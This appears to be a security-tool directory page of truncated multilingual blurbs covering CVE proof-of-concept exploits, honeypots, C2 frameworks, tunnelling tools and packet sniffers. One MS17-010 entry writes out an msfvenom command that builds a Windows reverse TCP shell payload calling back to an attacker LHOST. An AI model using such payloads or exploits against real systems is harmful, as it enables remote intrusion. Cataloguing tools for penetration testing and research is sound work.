CVE-2020-16898-EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP Remote Code Execution Vulnerability EXP&POC Reproduction forforever: https://www.cnblogs.com/forforever/p/13846077.html PoC CVE-2020-16898Checker-poc Command: Run PowerShell/CMD as Administrator root@kitploit: Powershell.exe -ExecutionPolicy UnRestrict...

Honeyd

Honeyd 1.6d Copyright c 2002 - 2007 Niels Provos [email protected] About Honeyd: Honeyd is a small daemon that creates virtual hosts on a network. The hosts can be configured to run arbitrary services, and their TCP personality can be adapted so that they appear to be running certain version...

Malbait

Malbait 用 Perl 实现的 TCP/UDP 蜜罐程序 malbait 的 README，2/10/17 顺便说一句，我的比特币地址是 3A7yuqBcPAcVEM59bNAVQdTCmkxRb5JRgE 这里还有一个替代地址，同样用于 BTC，因为我一直收到一些比特币钱包不支持某些地址的报告：1PEDKUiUTxGNJ3XTPfXCTAjpzVzX1VZAme 欢迎使用 malbait，您的一站式简单 Perl 蜜罐！ 快速开始！...

project-memoria-detector

project-memoria-detector La herramienta project-memoria-detector tiene como objetivo determinar si un dispositivo de red objetivo ejecuta una pila TCP/IP incrustada específica. Actualmente, la herramienta admite huellas digitales para 16 pilas TCP/IP incrustadas y sus variaciones: uIP, Contiki o...

AnySniff

💀AnySniff AnySniff 是一款用于在 Windows 上监控类似 AnyDesk 等进程的 TCP 连接的工具。它利用 CVE-2024-52940 漏洞来跟踪开放连接并记录 IP、端口及其他相关详细信息。 ⚙功能 监控目标进程（例如 AnyDesk）的 TCP 连接。 将 IP 地址、端口和进程详细信息记录到日志文件中。 支持实时嗅探网络流量。 提供简单的菜单驱动界面。 💽系统要求 Python 3.x Windows 操作系统 pyfiglet 库（用于 ASCII 艺术字） colorama 库（用于颜色支持） 🛠️安装 1. 克隆此仓库： root@kitploit:...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Proof-of-Concept Exploit for CVE-2024-36401 GeoServer Vulnerable Versions of GeoServer are prior to 2.23.6 | 2.24.4 | 2.25.2 !!! FOR SECURITY TESTING PURPOSES ONLY !!! DO NOT USE THIS ON SYSTEMS THAT YOU DO NOT OWN UNLESS YOU HAVE EXPRESS PERMISSION !!! To run... 1. Start a...

Windows-CVE-2024-38063

Windows-TCP/IP-IPv6CVE-2024-38063 La vulnerabilidad CVE-2024-38063 es una vulnerabilidad de ejecución remota de código presente en el componente TCP/IP del sistema operativo Windows. Según la introducción oficial de Microsoft, el nivel de gravedad máximo de esta vulnerabilidad es crítico, con una...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Using msfvenom to Generate a Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifies the payload a reverse TCP shell for Windows. LHOST=10.10.14.4: The...

CVE-2009-1330

CVE-2009-1330 Exploit for buffer overflow in Easy RM to MP3 Converter 2.7.3.700 CVE-2009-1330 Based on: pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 Vulnerable app available at https://www.exploit-db.com/exploits/10374...

proxychains-ng

ProxyChains-NG ver 4.17 README ProxyChainsはUNIXプログラムで、動的リンクされたプログラムにおいて、プリロードされたDLL（dlsym、LDPRELOAD）を介してネットワーク関連のlibc関数をフックし、SOCKS4a/5またはHTTPプロキシ経由で接続をリダイレクトします。TCPのみをサポートし（UDP/ICMPなどは非対応）。...

ligolo

Ligolo : Reverse Tunneling made easy for pentesters, by pentesters Table of Contents Introduction Use case Quick Demo Performance Usage Setup / Compiling How to use? TL;DR Options Features To Do Licensing Credits Introduction Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP...

c2-cloud

About The Project The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly...

findwall

FindWall ¿Qué hace? FindWall es un script en Python que permite saber si tu proveedor de red está limitando tu acceso a Internet bloqueando algún puerto TCP/UDP. Para realizar esta comprobación, FindWall necesita conectarse a un VPS público de tu propiedad. FindWall realiza las siguientes accione...

ThunderDNS

ThunderDNS Esta herramienta puede reenviar tráfico TCP a través del protocolo DNS. Clientes sin compilar + soporte socks5. Ejecutar Configuración de registros NS en nuestro dominio: Espere a que se limpie la caché DNS. Ejecución simple del servidor: python3 ./server.py --domain oversec.ru Ejecuci...

CVE-2026-0073-Android-adbd-authentication-bypass

Research on CVE-2026-0073. An auth bypass allowing any attacker with local network access to connect to an Android device with dev tools and wireless debugging or ADB-over-TCP enabled. Device needs to have been paired before. This has been tested working on Android 14 in Android Studio. Should wo...

netsniff-ng

////////////////////////////////////////////////////////////////////////////// root@kitploit: netsniff-ng - the packet sniffing beast \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ . . netsniff-ng is a free, performant / Linux network analyzer and .' '. networking...

Havoc-C2-SSRF-poc

CVE-2024-41570: Havoc-C2-SSRF-poc This vulnerability is exploited by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more. Full analysis:...

grc2

nimc2 Este software se encuentra en etapas muy tempranas de desarrollo y es posible que encuentres muchos problemas al usarlo nimc2 es un C2 muy ligero escrito completamente en nim. Sus usos van desde soporte al usuario hasta monitoreo de empleados. Si quieres probarlo, consulta la wiki para...

Tunna

Tunna Tunna es un conjunto de herramientas que envolverán y tunelizarán cualquier comunicación TCP sobre HTTP. Se puede utilizar para eludir restricciones de red en entornos completamente protegidos por firewall. v1.1 Versión Alpha root@kitploit: | | | || | | | ' | ' \ / | | || || | | | | | | | |...

KSMBDrain

Resumen Exploit de prueba de concepto para KSMBDrain CVE-2025-38501. Puede agotar de forma remota el límite de conexiones del servidor KSMBD. Detalles Un atacante remoto puede agotar el límite máximo de conexiones de un servidor KSMBD realizando un handshake TCP de tres vías y luego no respondien...